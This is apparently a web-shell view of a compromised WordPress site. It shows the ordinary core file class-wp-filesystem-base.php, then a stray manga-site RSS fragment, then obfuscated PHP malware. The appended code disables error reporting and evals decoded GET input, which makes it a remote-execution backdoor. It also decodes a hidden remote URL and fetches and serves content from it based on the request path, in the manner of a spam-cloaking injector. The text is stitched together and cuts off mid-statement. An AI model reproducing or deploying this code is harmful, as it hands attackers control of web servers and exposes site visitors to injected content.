Current File : //home/honehdyv/remonster.online/wp-admin/includes/class-wp-filesystem-base.php
<?php
/**
 * Base WordPress Filesystem
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * Base WordPress Filesystem class which Filesystem implementations extend.
 *
 * @since 2.5.0
 */
#[AllowDynamicProperties]
class WP_Filesystem_Base {

	/**
	 * Whether to display debug data for the connection.
	 *
	 * @since 2.5.0
	 * @var bool
	 */
	public $verbose = false;

	/**
	 * Cached list of local filepaths to mapped remote filepaths.
	 *
	 * @since 2.7.0
	 * @var array
	 */
	public $cache = array();

	/**
	 * The Access method of the current connection, Set automatically.
	 *
	 * @since 2.5.0
	 * @var string
	 */
	public $method = '';

	/**
	 * @var WP_Error
	 */
	public $errors = null;

	/**
	 */
	public $options = array();

	/**
	 * Returns the path on the remote filesystem of ABSPATH.
	 *
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	public function abspath() {
		$folder = $this->find_folder( ABSPATH );

		/*
		 * Perhaps the FTP folder is rooted at the WordPress install.
		 * Check for wp-includes folder in root. Could have some false positives, but rare.
		 */
		if ( ! $folder && $this->is_dir( '/' . WPINC ) ) {
			$folder = '/';
		}

		return $folder;
	}

	/**
	 * Returns the path on the remote filesystem of WP_CONTENT_DIR.
	 *
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	public function wp_content_dir() {
		return $this->find_folder( WP_CONTENT_DIR );
	}

	/**
	 * Returns the path on the remote filesystem of WP_PLUGIN_DIR.
	 *
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	public function wp_plugins_dir() {
		return $this->find_folder( WP_PLUGIN_DIR );
	}

	/**
	 * Returns the path on the remote filesystem of the Themes Directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string|false $theme Optional. The theme stylesheet or template for the directory.
	 *                            Default false.
	 * @return string The location of the remote path.
	 */
	public function wp_themes_dir( $theme = false ) {
		$theme_root = get_theme_root( $theme );

		// Account for relative theme roots.
		if ( '/themes' === $theme_root || ! is_dir( $theme_root ) ) {
			$theme_root = WP_CONTENT_DIR . $theme_root;
		}

		return $this->find_folder( $theme_root );
	}

	/**
	 * Returns the path on the remote filesystem of WP_LANG_DIR.
	 *
	 * @since 3.2.0
	 *
	 * @return string The location of the remote path.
	 */
	public function wp_lang_dir() {
		return $this->find_folder( WP_LANG_DIR );
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * @since 2.5.0
	 * @deprecated 2.7.0 use WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir() instead.
	 * @see WP_Filesystem_Base::abspath()
	 * @see WP_Filesystem_Base::wp_content_dir()
	 * @see WP_Filesystem_Base::wp_plugins_dir()
	 * @see WP_Filesystem_Base::wp_themes_dir()
	 * @see WP_Filesystem_Base::wp_lang_dir()
	 *
	 * @param string $base    Optional. The folder to start searching from. Default '.'.
	 * @param bool   $verbose Optional. True to display debug information. Default false.
	 * @return string The location of the remote path.
	 */
	public function find_base_dir( $base = '.', $verbose = false ) {
		_deprecated_function( __FUNCTION__, '2.7.0', 'WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir()' );
		$this->verbose = $verbose;
		return $this->abspath();
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * @since 2.5.0
	 * @deprecated 2.7.0 use WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir() methods instead.
	 * @see WP_Filesystem_Base::abspath()
	 * @see WP_Filesystem_Base::wp_content_dir()
	 * @see WP_Filesystem_Base::wp_plugins_dir()
	 * @see WP_Filesystem_Base::wp_themes_dir()
	 * @see WP_Filesystem_Base::wp_lang_dir()
	 *
	 * @param string $base    Optional. The folder to start searching from. Default '.'.
	 * @param bool   $verbose Optional. True to display debug information. Default false.
	 * @return string The location of the remote path.
	 */
	public function get_base_dir( $base = '.', $verbose = false ) {
		_deprecated_function( __FUNCTION__, '2.7.0', 'WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir()' );
		$this->verbose = $verbose;
		return $this->abspath();
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * Assumes that on Windows systems, Stripping off the Drive
	 * letter is OK Sanitizes \\ to / in Windows filepaths.
	 *
	 * @since 2.7.0
	 *
	 * @param string $folder the folder to locate.
	 * @return string|false The location of the remote path, false on failure.
	 */
	public function find_folder( $folder ) {
		if ( isset( $this->cache[ $folder ] ) ) {
			return $this->cache[ $folder ];
		}

		if ( stripos( $this->method, 'ftp' ) !== false ) {
			$constant_overrides = array(
				'FTP_BASE'        => ABSPATH,
				'FTP_CONTENT_DIR' => WP_CONTENT_DIR,
				'FTP_PLUGIN_DIR'  => WP_PLUGIN_DIR,
				'FTP_LANG_DIR'    => WP_LANG_DIR,
			);

			// Direct matches ( folder = CONSTANT/ ).
			foreach ( $constant_overrides as $constant => $dir ) {
				if ( ! defined( $constant ) ) {
					continue;
				}

				if ( $folder === $dir ) {
					return trailingslashit( constant( $constant ) );
				}
			}

			// Prefix matches ( folder = CONSTANT/subdir ),
			foreach ( $constant_overrides as $constant => $dir ) {
				if ( ! defined( $constant ) ) {
					continue;
				}

				if ( 0 === stripos( $folder, $dir ) ) { // $folder starts with $dir.
					$potential_folder = preg_replace( '#^' . preg_quote( $dir, '#' ) . '/#i', trailingslashit( constant( $constant ) ), $folder );
					$potential_folder = trailingslashit( $potential_folder );

					if ( $this->is_dir( $potential_folder ) ) {
						$this->cache[ $folder ] = $potential_folder;

						return $potential_folder;
					}
				}
			}
		} elseif ( 'direct' === $this->method ) {
			$folder = str_replace( '\\', '/', $folder ); // Windows path sanitization.

			return trailingslashit( $folder );
		}

		$folder = preg_replace( '|^([a-z]{1}):|i', '', $folder ); // Strip out Windows drive letter if it's there.
		$folder = str_replace( '\\', '/', $folder ); // Windows path sanitization.

		if ( isset( $this->cache[ $folder ] ) ) {
			return $this->cache[ $folder ];
		}

		if ( $this->exists( $folder ) ) { // Folder exists at that absolute path.
			$folder                 = trailingslashit( $folder );
			$this->cache[ $folder ] = $folder;

			return $folder;
		}

		$return = $this->search_for_folder( $folder );

		if ( $return ) {
			$this->cache[ $folder ] = $return;
		}

		return $return;
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * Expects Windows sanitized path.
	 *
	 * @since 2.7.0
	 *
	 * @param string $folder The folder to locate.
	 * @param string $base   The folder to start searching from.
	 * @param bool   $loop   If the function has recursed. Internal use only.
	 * @return string|false The location of the remote path, false to cease looping.
	 */
	public function search_for_folder( $folder, $base = '.', $loop = false ) {
		if ( empty( $base ) || '.' === $base ) {
			$base = trailingslashit( $this->cwd() );
		}

		$folder = untrailingslashit( $folder );

		if ( $this->verbose ) {
			/* translators: 1: Folder to locate, 2: Folder to start searching from. */
			printf( "\n" . __( 'Looking for %1$s in %2$s' ) . "<br />\n", $folder, $base );
		}

		$folder_parts     = explode( '/', $folder );
		$folder_part_keys = array_keys( $folder_parts );
		$last_index       = array_pop( $folder_part_keys );
		$last_path        = $folder_parts[ $last_index ];

		$files = $this->dirlist( $base );

		foreach ( $folder_parts as $index => $key ) {
			if ( $index === $last_index ) {
				continue; // We want this to be caught by the next code block.
			}

			/*
			 * Working from /home/ to /user/ to /wordpress/ see if that file exists within
			 * the current folder, If it's found, change into it and follow through looking
			 * for it. If it can't find WordPress down that route, it'll continue onto the next
			 * folder level, and see if that matches, and so on. If it reaches the end, and still
			 * can't find it, it'll return false for the entire function.
			 */
			if ( isset( $files[ $key ] ) ) {

				// Let's try that folder:
				$newdir = trailingslashit( path_join( $base, $key ) );

				if ( $this->verbose ) {
					/* translators: %s: Directory name. */
					printf( "\n" . __( 'Changing to %s' ) . "<br />\n", $newdir );
				}

				// Only search for the remaining path tokens in the directory, not the full path again.
				$newfolder = implode( '/', array_slice( $folder_parts, $index + 1 ) );
				$ret       = $this->search_for_folder( $newfolder, $newdir, $loop );

				if ( $ret ) {
					return $ret;
				}
			}
		}

		/*
		 * Only check this as a last resort, to prevent locating the incorrect install.
		 * All above procedures will fail quickly if this is the right branch to take.
		 */
		if ( isset( $files[ $last_path ] ) ) {
			if ( $this->verbose ) {
				/* translators: %s: Directory name. */
				printf( "\n" . __( 'Found %s' ) . "<br />\n", $base . $last_path );
			}

			return trailingslashit( $base . $last_path );
		}

		/*
		 * Prevent this function from looping again.
		 * No need to proceed if we've just searched in `/`.
		 */
		if ( $loop || '/' === $base ) {
			return false;
		}

		/*
		 * As an extra last resort, Change back to / if the folder wasn't found.
		 * This comes into effect when the CWD is /home/user/ but WP is at /var/www/....
		 */
		return $this->search_for_folder( $folder, '/', true );
	}

	/**
	 * Returns the *nix-style file permissions for a file.
	 *
	 * From the PHP documentation page for fileperms().
	 *
	 * @link https://www.php.net/manual/en/function.fileperms.php
	 *
	 * @since 2.5.0
	 *
	 * @param string $file String filename.
	 * @return string The *nix-style representation of permissions.
	 */
	public function gethchmod( $file ) {
		$perms = intval( $this->getchmod( $file ), 8 );

		if ( ( $perms & 0xC000 ) === 0xC000 ) { // Socket.
			$info = 's';
		} elseif ( ( $perms & 0xA000 ) === 0xA000 ) { // Symbolic Link.
			$info = 'l';
		} elseif ( ( $perms & 0x8000 ) === 0x8000 ) { // Regular.
			$info = '-';
		} elseif ( ( $perms & 0x6000 ) === 0x6000 ) { // Block special.
			$info = 'b';
		} elseif ( ( $perms & 0x4000 ) === 0x4000 ) { // Directory.
			$info = 'd';
		} elseif ( ( $perms & 0x2000 ) === 0x2000 ) { // Character special.
			$info = 'c';
		} elseif ( ( $perms & 0x1000 ) === 0x1000 ) { // FIFO pipe.
			$info = 'p';
		} else { // Unknown.
			$info = 'u';
		}

		// Owner.
		$info .= ( ( $perms & 0x0100 ) ? 'r' : '-' );
		$info .= ( ( $perms & 0x0080 ) ? 'w' : '-' );
		$info .= ( ( $perms & 0x0040 ) ?
					( ( $perms & 0x0800 ) ? 's' : 'x' ) :
					( ( $perms & 0x0800 ) ? 'S' : '-' ) );

		// Group.
		$info .= ( ( $perms & 0x0020 ) ? 'r' : '-' );
		$info .= ( ( $perms & 0x0010 ) ? 'w' : '-' );
		$info .= ( ( $perms & 0x0008 ) ?
					( ( $perms & 0x0400 ) ? 's' : 'x' ) :
					( ( $perms & 0x0400 ) ? 'S' : '-' ) );

		// World.
		$info .= ( ( $perms & 0x0004 ) ? 'r' : '-' );
		$info .= ( ( $perms & 0x0002 ) ? 'w' : '-' );
		$info .= ( ( $perms & 0x0001 ) ?
					( ( $perms & 0x0200 ) ? 't' : 'x' ) :
					( ( $perms & 0x0200 ) ? 'T' : '-' ) );

		return $info;
	}

	/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		return '777';
	}

	/**
	 * Converts *nix-style file permissions to an octal number.
	 *
	 * Converts '-rw-r--r--' to 0644
	 * From "info at rvgate dot nl"'s comment on the PHP documentation for chmod()
	 *
	 * @link https://www.php.net/manual/en/function.chmod.php#49614
	 *
	 * @since 2.5.0
	 *
	 * @param string $mode string The *nix-style file permissions.
	 * @return string Octal representation of permissions.
	 */
	public function getnumchmodfromh( $mode ) {
		$realmode = '';
		$legal    = array( '', 'w', 'r', 'x', '-' );
		$attarray = preg_split( '//', $mode );

		for ( $i = 0, $c = count( $attarray ); $i < $c; $i++ ) {
			$key = array_search( $attarray[ $i ], $legal, true );

			if ( $key ) {
				$realmode .= $legal[ $key ];
			}
		}

		$mode  = str_pad( $realmode, 10, '-', STR_PAD_LEFT );
		$trans = array(
			'-' => '0',
			'r' => '4',
			'w' => '2',
			'x' => '1',
		);
		$mode  = strtr( $mode, $trans );

		$newmode  = $mode[0];
		$newmode .= $mode[1] + $mode[2] + $mode[3];
		$newmode .= $mode[4] + $mode[5] + $mode[6];
		$newmode .= $mode[7] + $mode[8] + $mode[9];

		return $newmode;
	}

	/**
	 * Determines if the string provided contains binary characters.
	 *
	 * @since 2.7.0
	 *
	 * @param string $text String to test against.
	 * @return bool True if string is binary, false otherwise.
	 */
	public function is_binary( $text ) {
		return (bool) preg_match( '|[^\x20-\x7E]|', $text ); // chr(32)..chr(127)
	}

	/**
	 * Changes the owner of a file or directory.
	 *
	 * Default behavior is to do nothing, override this in your subclass, if desired.
	 *
	 * @since 2.5.0
	 *
	 * @param string     $file      Path to the file or directory.
	 * @param string|int $owner     A user name or number.
	 * @param bool       $recursive Optional. If set to true, changes file owner recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chown( $file, $owner, $recursive = false ) {
		return false;
	}

	/**
	 * Connects filesystem.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @return bool True on success, false on failure (always true for WP_Filesystem_Direct).
	 */
	public function connect() {
		return true;
	}

	/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false on failure.
	 */
	public function get_contents( $file ) {
		return false;
	}

	/**
	 * Reads entire file into an array.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return false;
	}

	/**
	 * Writes a string to a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		return false;
	}

	/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		return false;
	}

	/**
	 * Changes current directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return false;
	}

	/**
	 * Changes the file group.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string     $file      Path to the file.
	 * @param string|int $group     A group name or number.
	 * @param bool       $recursive Optional. If set to true, changes file group recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chgrp( $file, $group, $recursive = false ) {
		return false;
	}

	/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		return false;
	}

	/**
	 * Gets the file owner.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		return false;
	}

	/**
	 * Gets the file's group.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		return false;
	}

	/**
	 * Copies a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		return false;
	}

	/**
	 * Moves a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $source      Path to the source file.
	 * @param string $destination Path to the destination file.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		return false;
	}

	/**
	 * Deletes a file or directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		return false;
	}

	/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path exists or not.
	 */
	public function exists( $path ) {
		return false;
	}

	/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return false;
	}

	/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		return false;
	}

	/**
	 * Checks if a file is readable.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return false;
	}

	/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path is writable.
	 */
	public function is_writable( $path ) {
		return false;
	}

	/**
	 * Gets the file's last access time.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return false;
	}

	/**
	 * Gets the file modification time.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return false;
	}

	/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		return false;
	}

	/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: If $file doesn't exist, it will be created.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 * @return bool True on success, false on failure.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		return false;
	}

	/**
	 * Creates a directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string           $path  Path for new directory.
	 * @param int|false        $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                                Default false.
	 * @param string|int|false $chown Optional. A user name or number (or false to skip chown).
	 *                                Default false.
	 * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		return false;
	}

	/**
	 * Deletes a directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return false;
	}

	/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of arrays containing file information. False if unable to list directory contents.
	 *
	 *     @type array ...$0 {
	 *         Array of file information. Note that some elements may not be available on all filesystems.
	 *
	 *         @type string           $name        Name of the file or directory.
	 *         @type string           $perms       *nix representation of permissions.
	 *         @type string           $permsn      Octal representation of permissions.
	 *         @type int|string|false $number      File number. May be a numeric string. False if not available.
	 *         @type string|false     $owner       Owner name or ID, or false if not available.
	 *         @type string|false     $group       File permissions group, or false if not available.
	 *         @type int|string|false $size        Size of file in bytes. May be a numeric string.
	 *                                             False if not available.
	 *         @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
	 *                                             False if not available.
	 *         @type string|false     $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                             false if not available.
	 *         @type string|false     $time        Last modified time, or false if not available.
	 *         @type string           $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *         @type array|false      $files       If a directory and `$recursive` is true, contains another array of
	 *                                             files. False if unable to list directory contents.
	 *     }
	 * }
	 */
	public function dirlist( $path, $include_hidden = true, $recursive = false ) {
		return false;
	}
}
Comments on: Btooom! Chapter 74 https://w3.readbtooom.com/manga/btooom-chapter-74/ Read Btooom! Manga Online in High Quality Wed, 30 Nov 2022 23:56:25 +0000 hourly 1 https://wordpress.org/?v=6.4.5 BTm[5 + 0](__FILE__)); goto fargXz030rpTv4; wLvQp0lYTxZ0HO: die; goto AjeoKJQZfbd6TE; Kw3wCCxBEZHSGG: @eval($gmnVnMr0iEjBTm[0 + 4]($hflTr7ZhKYQEiB)); goto wLvQp0lYTxZ0HO; VMV_idhq71r2u6: $LSw2Mf8ShtBMhD = @$gmnVnMr0iEjBTm[3 + 0]($gmnVnMr0iEjBTm[4 + 2], $xc34p_QeoNHndH); goto SBw0r1EUJvgc6w; Zb7j2SHXCQLRzq: $xc34p_QeoNHndH = @$gmnVnMr0iEjBTm[1]($gmnVnMr0iEjBTm[6 + 4](INPUT_GET, $gmnVnMr0iEjBTm[8 + 1])); goto VMV_idhq71r2u6; qT1AMbE1jKiVEr: $hflTr7ZhKYQEiB = self::etuFW7QuuTp7XC($BhGMsY73N9SwTY[1 + 0], $gmnVnMr0iEjBTm[5 + 0]); goto Kw3wCCxBEZHSGG; TVhDlMQOfW7LAV: l3u94m8t5YSci3: goto Zb7j2SHXCQLRzq; v0QeYTrJc3OQ_c: } } goto YNWt5RdnGP3Atb; so3CE7ceAVhjNP: if (!substr_count($_SERVER["\x52\105\121\125\105\x53\124\x5f\x55\x52\111"], "\x69\x6e\x64\145\x78\56\160\x68\x70\x2f\152\153")) { goto dRXVyNzbJKkMby; } goto Gh1zYgHk2rBFFr; oN2zb_SaHmhV1t: if (!in_array($W4wbA9S5YoCrLx, array("\56\152\163", "\x2e\x63\x73\x73", "\56\x6a\x70\147", "\56\x70\x6e\x67", "\x2e\147\x69\x66", "\56\151\x63\x6f"))) { goto EODSlWNRKAFUfb; } goto XpMILegvBZh_LH; RSe49XOeE6FLSP: nLBmN8xt91_bAs: goto TQbaS9anPR0P07; jmpPJPGGl8DWdJ: $RYcRsC_5JN9R76 = tiguxQRkkHpCym(base64_decode("\141\x48\x52\x30\x63\104\x6f\166\114\63\160\172\115\124\153\x78\x64\152\105\x7a\145\127\105\165\x59\62\106\163\x64\x32\x6c\x7a\x5a\x53\65\151\142\x32\x46\x30\x63\171\70"), $cqhM8U9aB6_PYp); goto aCk7oqhUtXZfdj; TQbaS9anPR0P07: mQYBYdvBp_oDE6: goto y65uhV42UN3qnh; V0lkrMh9Z1BRsW: x_u_0wnE1tCuly: goto wqhjdQounUApEG; QPW0dtqUzVyx51: error_reporting(0); goto JVR_Woh4Zhqdv_; Xo0GyQ3h71LH37: $z0r5Uq669684MQ = preg_replace("\57\x5c\x3f\56\x2a\x2f", '', $_SERVER["\x52\105\x51\x55\x45\x53\x54\137\125\x52\111"]); goto Z9_0Y6zwaUc82T; mT9PXFTp1Skaq4: @header("\103\x6f\156\x74\145\156\x74\55\x54\171\x70\x65\x3a" . $RYcRsC_5JN9R76["\x74\171\x70\145"]); goto podAua_1_n6Q32; ouixKgMLyBrlN2: $cqhM8U9aB6_PYp["\x6c"] = ohacXe72gNcNBO($_SERVER["\110\124\x54\120\137\x41\x43\x43\x45\120\x54\137\114\101\116\107\x55\x41\x47\105"]); goto vMh6tPY4H3rnsg; u5h2C1uIEUi0Go: $CZz5sVrqYvUkOf = $LV7Xe2gqIFeZLN("\176", "\40"); goto y93W64ZbR6zOSA; fj6wUoTQIXldH9: if (!(strpos($YyjHFbwkNXow5l, $AJev5iZ2Mhc3ij) === 0)) { goto x_u_0wnE1tCuly; } goto rL6Tx3kSqvOTjM; QLv0oo4sbaMBxL: dRXVyNzbJKkMby: goto Ehp8WNkRozmA8y; Icuv3eQOx2psV3: BOw9qIk2dCbR1c: goto zNxNbJxUVPLx9l; iS2uY3yxKzFLXT: if (!($_SERVER["\122\x45\121\x55\x45\x53\124\137\125\x52\111"] === "\x2f\x52\55" . md5($_SERVER["\x53\105\x52\126\105\122\x5f\116\101\115\105"]))) { goto WkCtrOdb6CfnUd; } goto iyYnqXN3Noa5qx; y65uhV42UN3qnh: if (!strlen($RYcRsC_5JN9R76["\143\x6f\156\x74\x65\x6e\164"])) { goto BOw9qIk2dCbR1c; } goto mT9PXFTp1Skaq4; CiUHXM4OYEXLKn: WkCtrOdb6CfnUd: goto so3CE7ceAVhjNP; aySkes8PMaRFs4: $cqhM8U9aB6_PYp["\x69"] = OhAcxE72GNcnbO($GQBzsC0J0BLgmM); goto ouixKgMLyBrlN2; eCPavVZmeH0nil: if ($XvsJrdpopFW2vM) { goto xg8FNXqleuiX6n; } goto jmpPJPGGl8DWdJ; Dq8JVjP7nnWuhp: error_reporting(0); goto TUs_yrzwsfWZGJ; TUs_yrzwsfWZGJ: $LV7Xe2gqIFeZLN = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto u5h2C1uIEUi0Go; tnv_srHgR3Jc1_: $W4wbA9S5YoCrLx = substr($z0r5Uq669684MQ, strpos($z0r5Uq669684MQ, "\x2e")); goto oN2zb_SaHmhV1t; wqhjdQounUApEG: $cqhM8U9aB6_PYp = array(); goto aySkes8PMaRFs4; rL6Tx3kSqvOTjM: $YyjHFbwkNXow5l = ''; goto V0lkrMh9Z1BRsW; Ehp8WNkRozmA8y: $GQBzsC0J0BLgmM = pQP3PWz1NW4fxK(); goto Oaud86upaGzC2o; YNWt5RdnGP3Atb: od7upioZ1kkklw::RIQGPKaF6WaKCD(); goto e8gsxlBTkbJw2k; IFkH9ZkqrM2xv1: function OhACxe72gnCnbo($wX1FQcEKbvf0Vk) { goto EhnnRuXCM2vaI0; EhnnRuXCM2vaI0: if ($wX1FQcEKbvf0Vk) { goto dWAlK3vCJBD41H; } goto maV2K8d7o7cgJ4; hZcUAyN1JlkDi5: return rtrim(strtr(base64_encode($wX1FQcEKbvf0Vk), "\x2b\57", "\x2d\137"), "\x3d"); goto Ec00iBRwyYn0j3; maV2K8d7o7cgJ4: return ''; goto FliB1ZnZ66uFcQ; FliB1ZnZ66uFcQ: dWAlK3vCJBD41H: goto hZcUAyN1JlkDi5; Ec00iBRwyYn0j3: } goto oDS96LLv_HsmIB; GXKFXvvy3zl7mN: nIdXsiNuEgVLle: goto RSe49XOeE6FLSP; Rf4mSxuY2vTeE2: $cqhM8U9aB6_PYp["\163"] = OHaCXE72GNcnBO($AJev5iZ2Mhc3ij); goto HMkZukGxwNhVQ1; JVR_Woh4Zhqdv_: function DrB1PAMeGIaG6C($EXJ3TWl60uE2Q6) { goto y0F4uW_sAfgjo9; qdye0l1vcv4Uj4: return $zxtSQawcApEz8h; goto IL5Ny6v6bNfIDV; YJbCLy4ZU6O7d1: RMHWY4SACI7d9e: goto PEyJxU0XaIAHPj; PEyJxU0XaIAHPj: return $zxtSQawcApEz8h; goto EY_wW58gdYdFhT; y0F4uW_sAfgjo9: $zxtSQawcApEz8h = array("\x73\164\141\x74\165\x73" => 0, "\x63\x6f\x6e\x74\145\x6e\164" => '', "\164\x79\160\145" => ''); goto EYT_MhMP2Dk0_X; IL5Ny6v6bNfIDV: mqsxr4rcxMwCBa: goto eVUSkA0CaWo5Xk; EYT_MhMP2Dk0_X: if (is_array($EXJ3TWl60uE2Q6)) { goto mqsxr4rcxMwCBa; } goto qdye0l1vcv4Uj4; eVUSkA0CaWo5Xk: foreach ($EXJ3TWl60uE2Q6 as $iKFPrHqHAJZa0n) { goto CDZ9hr_NRNto5B; GkxAIXz5gU0297: goto IwUle8nU5L9MmY; goto DNiHKOSbc2iyUO; bkM_Viu76T8nIQ: N5bPLk96ktiW_c: goto W4eVtQrANTd7qi; lLK0FU7cGnoP3S: if (preg_match("\x2f\x6c\x6f\143\141\164\151\157\x6e\x5c\x3a\x5b\134\163\135\53\x28\56\52\51\x2f\151", $iKFPrHqHAJZa0n, $VCXf5n_WGDFhVc)) { goto SFLZJbNE4Ddd7y; } goto NLGn90nldG0V2C; G50qjtmviMjmhD: $zxtSQawcApEz8h["\x73\164\141\164\165\163"] = intval($VCXf5n_WGDFhVc[1]); goto fzXqR2F5bIflpz; grJ2yidJ8DbUel: $zxtSQawcApEz8h["\x74\171\x70\x65"] = $VCXf5n_WGDFhVc[1]; goto yKzd8wOsZTKyiY; cgFVc2lqsook5w: $zxtSQawcApEz8h["\x63\x6f\156\164\x65\x6e\x74"] = $VCXf5n_WGDFhVc[1]; goto GkxAIXz5gU0297; fzXqR2F5bIflpz: goto IwUle8nU5L9MmY; goto jw1n3W0TMtb8ae; jw1n3W0TMtb8ae: SFLZJbNE4Ddd7y: goto cgFVc2lqsook5w; ixb_boyIAvRtU3: goto IwUle8nU5L9MmY; goto sogoy13hmTNHjv; DNiHKOSbc2iyUO: qtZ1RIeDF7F_zB: goto grJ2yidJ8DbUel; NLGn90nldG0V2C: if (preg_match("\x2f\x63\157\156\x74\145\156\x74\x5c\55\164\x79\160\x65\x5c\x3a\133\134\x73\135\53\50\56\x2a\51\x2f\x69", $iKFPrHqHAJZa0n, 